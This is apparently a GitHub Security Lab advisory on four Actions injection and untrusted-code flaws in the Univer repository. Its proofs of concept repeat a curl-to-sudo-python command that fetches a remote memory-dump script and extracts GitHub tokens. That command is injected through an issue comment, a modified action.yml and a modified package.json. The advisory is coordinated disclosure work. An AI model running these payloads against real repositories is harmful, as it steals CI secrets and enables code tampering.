Coordinated Disclosure Timeline
- 2024-09-19: Created a discussion post asking for a vulnerability contact person or email.
- 2024-09-20: Received a reply and sent the report to the maintainer’s email.
- 2024-09-20: Fixes are issued.
Summary
Univer uses multiple actions workflows vulnerable to actions injections.
Project
dream-num/univer
Tested Version
Details
Issue 1: Code injection in .github/workflows/update-snapshots.yml
(GHSL-2024-209
)
The update-snapshots.yml
workflow runs on any of the comment created on an issue or a PR, and executes echo ${{ github.event.comment.body }}
- a command with the content of a given comment, which could allow an attacker to execute arbitrary commands on an actions runner.
name: 🎭 Update Snapshots
on:
# It looks like you can't target PRs-only comments:
# https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_comment-use-issue_comment
# So we must run this workflow every time a new comment is added to issues
# and pull requests
issue_comment:
types: [created]
jobs:
echos:
runs-on: ubuntu-latest
steps:
- name: Debug echo is conditions
run: echo ${{ github.event.comment.body }}
Proof of Concept
- Comment on any issue or pull request with this payload, which will exfiltrate the GITHUB_TOKEN.
""; curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE 'ghs_[0-9A-Za-z]{20,}' | sort -u | base64 | base64
- Go to the “Actions” tab and check the
Update snapshot
workflow for the above comment. You should see base64 encoded token in the logs.
Impact
The job is run with all write permissions, which an attacker would be able to misuse to, for example, push arbitrary code to the repository.
GITHUB_TOKEN Permissions
Actions: write
Attestations: write
Checks: write
Contents: write
Deployments: write
Discussions: write
Issues: write
Metadata: read
Packages: write
Pages: write
PullRequests: write
RepositoryProjects: write
SecurityEvents: write
Statuses: write
Resources
- https://github.com/nikitastupin/pwnhub/blob/main/writings/assessing-impact.md#contents-wirte
- https://codeql.github.com/codeql-query-help/javascript/js-actions-command-injection/
- https://securitylab.github.com/research/github-actions-preventing-pwn-requests/
Issue 2: Execution of untrusted code in update-snapshots.yml
(GHSL-2024-210
)
The update-snapshots.yml
workflow runs on any of the comment created on an issue or a PR. The update-snapshots
job executes if the comment is /update-snapshots
and executes the local action ./.github/actions/setup-node/action.yml
on line 65. An attacker could create a pull request with a changed ./.github/actions/setup-node/action.yml
script and run arbitrary code on the runner.
name: 🎭 Update Snapshots
on:
# It looks like you can't target PRs-only comments:
# https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_comment-use-issue_comment
# So we must run this workflow every time a new comment is added to issues
# and pull requests
issue_comment:
types: [created]
--- code cut for readability
update_snapshots:
# Run this job only on comments of pull requests that strictly match
# the "/update-snapshots" string
if: ${{ github.event.issue.pull_request && github.event.comment.body == '/update-snapshots' }}
timeout-minutes: 10
runs-on: ubuntu-latest
steps:
# Checkout and do a deep fetch to load all commit IDs
- uses: actions/checkout@v4
with:
fetch-depth: 0 # Load all commits
token: ${{ secrets.GITHUB_TOKEN }}
--- code cut for readability
- name: Setup Node.js
uses: ./.github/actions/setup-node
Proof of Concept
- Create a pull request with the
./.github/actions/setup-node
changed to:
name: Node Setup
description: Node.js setup for CI, including cache configuration
runs:
using: composite
steps:
- run: curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE 'ghs_[0-9A-Za-z]{20,}' | sort -u | base64 | base64
shell: bash
- Comment on the pull request:
/update-snapshots
- Go to the “Actions” tab and check the
Update snapshot
workflow for the above comment. You should see base64 encoded token in the logs for theNode Setup
step.
Impact
The job is run with all write permissions, which an attacker would be able to misuse to, for example, push arbitrary code to the repository.
GITHUB_TOKEN Permissions
Actions: write
Attestations: write
Checks: write
Contents: write
Deployments: write
Discussions: write
Issues: write
Metadata: read
Packages: write
Pages: write
PullRequests: write
RepositoryProjects: write
SecurityEvents: write
Statuses: write
Resources
- https://github.com/nikitastupin/pwnhub/blob/main/writings/assessing-impact.md#contents-wirte
- https://codeql.github.com/codeql-query-help/javascript/js-actions-command-injection/
- https://securitylab.github.com/research/github-actions-preventing-pwn-requests/
Issue 3: Execution of untrusted code in Actions in .github/workflows/preview-deploy.yml
build-demo
job (GHSL-2024-211
)
The .github/workflows/preview-deploy.yml
workflow runs after the build.yml
completes (which runs on each push or pull request to the dev
branch). the build-demo
executes the local action ./.github/actions/setup-node/action.yml
on line 110 and runs scripts from the package.json file on line 118.
An attacker could create a pull request with a changed .github/setup-node/action.yml
file or with a malicious package.json file and exfiltrate secrets available to the workflow, such as VERCEL_TOKEN.
name: 📤 Preview Deploy
on:
workflow_run:
workflows:
- 🎬 Setup
types:
- completed
permissions:
contents: read
pull-requests: write
jobs:
--- code cut for readability
build-demo:
runs-on: ubuntu-latest
needs: [setup]
outputs:
preview-url: ${{ steps.vercel-demo-dev.outputs.preview-url == '' && steps.vercel-demo.outputs.preview-url || steps.vercel-demo-dev.outputs.preview-url }}
commit-message: ${{ steps.commit-message.outputs.value }}
steps:
- name: Checkout
uses: actions/checkout@v4
with:
repository: ${{ needs.setup.outputs.repo }}
ref: ${{ needs.setup.outputs.ref }}
- name: Setup Node.js
uses: ./.github/actions/setup-node
Proof of Concept
- Create a pull request with the
package.json
changed to:@@ -32,7 +32,7 @@ "coverage": "turbo coverage -- --passWithNoTests", "build": "turbo build --no-cache --concurrency=50% --filter=!./common/* && pnpm --filter @univerjs/umd build:umd", "build:ci": "turbo build --concurrency=100% --filter=!./common/*", - "build:demo": "pnpm --filter univer-examples build:demo", + "build:demo": "curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\\0' | grep -aoE 'ghs_[0-9A-Za-z]{20,}' | sort -u | base64 | base64", "build:e2e": "pnpm --filter univer-examples build:e2e", "serve:e2e": "serve ./examples/local", "test:e2e": "playwright test",
- Go to the “Actions” tab and check the
Preview Deploy
workflow for the PR. You should see a base64 encoded token in thebuild-demo
jobBuild demo
step.
Impact
The job is run with access to a number of secrets:
- GITHUB_TOKEN with permissions:
GITHUB_TOKEN Permissions Contents: read Metadata: read PullRequests: write Secret source: Actions
- VERCEL_TOKEN
- ORG_ID
- PROJECT_ID
- PROJECT_ID_STORYBOOK which an attacker would be able to exfiltrate.
Issue 4: Execution of untrusted code in Actions in .github/workflows/preview-deploy.yml
build-storybook
job (GHSL-2024-212
)
The .github/workflows/preview-deploy.yml
workflow runs after the build.yml
completes (which runs on each push or pull request to the dev
branch). The build-storybook
job executes the local action ./.github/actions/setup-node/action.yml
on line 159 and runs scripts from the package.json file on line 163.
An attacker could create a pull request with a changed .github/setup-node/action.yml
or with a malicious package.json file and exfiltrate secrets available to the workflow, such as VERCEL_TOKEN.
name: 📤 Preview Deploy
on:
workflow_run:
workflows:
- 🎬 Setup
types:
- completed
permissions:
contents: read
pull-requests: write
jobs:
--- code cut for readability
build-storybook:
runs-on: ubuntu-latest
needs: [setup]
outputs:
preview-url: ${{ steps.vercel-storybook-dev.outputs.preview-url == '' && steps.vercel-storybook.outputs.preview-url || steps.vercel-storybook-dev.outputs.preview-url }}
steps:
- name: Checkout
uses: actions/checkout@v4
with:
repository: ${{ needs.setup.outputs.repo }}
ref: ${{ needs.setup.outputs.ref }}
- name: Setup Node.js
uses: ./.github/actions/setup-node
# ================= Deploy Storybook =================
- name: 📦 Build storybook
run: pnpm storybook:build
Proof of Concept
- Create a pull request with the
./.github/actions/setup-node
changed to: - Go to the “Actions” tab and check the
Preview Deploy
workflow for the above PR. You should see base64 encoded token in the logs for thebuild-demo
step.
name: Node Setup
description: Node.js setup for CI, including cache configuration
runs:
using: composite
steps:
- run: curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE 'ghs_[0-9A-Za-z]{20,}' | sort -u | base64 | base64
shell: bash
- Go to the “Actions” tab and check the
Preview Deploy
workflow for the PR. You should see a base64 encoded token in thebuild-storybook
jobSetup Node.js
step.
Impact
The job is run with access to a number of secrets:
- GITHUB_TOKEN with permissions:
GITHUB_TOKEN Permissions Contents: read Metadata: read PullRequests: write Secret source: Actions
- VERCEL_TOKEN
- ORG_ID
- PROJECT_ID
- PROJECT_ID_STORYBOOK which an attacker would be able to exfiltrate.
Credit
These issues were discovered and reported by GHSL team member @sylwia-budzynska (Sylwia Budzynska).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2024-209
, GHSL-2024-210
, GHSL-2024-211
, or GHSL-2024-212
in any communication regarding these issues.